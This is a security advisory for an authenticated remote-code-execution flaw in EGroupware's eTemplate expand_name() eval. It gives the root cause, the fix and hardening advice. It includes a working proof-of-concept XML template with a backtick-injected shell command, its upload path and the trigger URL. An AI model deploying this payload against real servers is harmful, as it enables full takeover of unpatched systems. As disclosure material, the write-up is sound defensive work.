CVE-2026-40187: EGroupware Authenticated RCE via eTemplate eval Injection
An authenticated EGroupware administrator can upload a malicious XML template file that causes the server to execute arbitrary OS commands, taking full control of the underlying system.
The problem
The `Widget::expand_name()` method in `api/src/Etemplate/Widget.php` passes widget attribute values into a PHP `eval()` call to expand grid variables like `$row` and `$col`. Before being passed to `eval()`, the input is sanitised with only a double-quote escape (`str_replace('"', '\\"', $name)`).
Backtick characters are left untouched.
In PHP, backticks inside a double-quoted `eval()` string are shell execution operators, identical to `shell_exec()`. Any admin-level user can upload a `.xet` eTemplate XML file to the VFS `/etemplates` mount (writable by the Admins group) and embed a backtick-wrapped OS command in a widget `id` attribute.
When EGroupware loads the template, the command runs as the web server user.
Proof of concept
A working proof-of-concept for CVE-2026-40187 in egroupware/egroupware, with the exact payload below.
<!-- Save as index.xet, upload to /etemplates/admin/templates/default/index.xet -->
<?xml version="1.0" encoding="UTF-8"?>
<overlay>
<template id="admin.index">
<grid>
<columns><column/></columns>
<rows>
<row>
<textbox id="$row`id > /tmp/pwned_egw 2>/dev/null`"/>
</row>
</rows>
</grid>
</template>
</overlay>
<!-- Trigger: visit https://<target>/egroupware/index.php?menuaction=admin.admin_ui.index -->
<!-- eval executes: $name = "$row`id > /tmp/pwned_egw 2>/dev/null`"; -->The root cause is CWE-95 (Eval Injection) compounded by CWE-78 (OS Command Injection). `expand_name()` fires `eval()` whenever `$name` contains a `$` character, treating the value as a PHP double-quoted string. The only guard was `str_replace('"', '\\"', $name)`, which stops double-quote escaping but ignores backticks entirely.
In PHP, a double-quoted string evaluated at runtime interprets backticks as shell execution operators. So `"$row\`id\`"` inside `eval()` runs `id` via the shell and substitutes its output. The patch for 26.4.20260413 adds backtick escaping (and removes the `eval()` approach in favour of safe variable substitution), closing both the eval injection and the resulting OS command execution path.
The official Docker deployment sets `disable_functions = exec,passthru,shell_exec,system,proc_open,popen` in `php.ini`, which also blocks PHP backtick execution. Bare-metal, VM, and custom container deployments without this hardening are fully exposed.
The fix
Upgrade to EGroupware 26.4.20260413 or later. The patch rewrites `Widget::expand_name()` to escape backticks before any `eval()` call (or replaces the `eval()` entirely with safe substitution). As a defence-in-depth measure on any deployment, add `disable_functions = exec,passthru,shell_exec,system,proc_open,popen,shell_exec` to `php.ini` and restart PHP-FPM.
Restrict VFS `/etemplates` write access and audit admin accounts.
Related research
- criticalCVE-2026-27823CVE-2026-27823: EGroupware SmallPART Remote Code Execution via Auth Bypass and Path Traversal
- high · 8.2CVE-2026-49260CVE-2026-49260: php-weasyprint OS Command Injection via Binary Path
- high · 8.1CVE-2026-55173CVE-2026-55173: AVideo sanitizeFFmpegCommand OS Command Injection via Ampersand Bypass
- highCVE-2026-55794CVE-2026-55794: Craft CMS Authenticated RCE via Twig Injection in Referer Header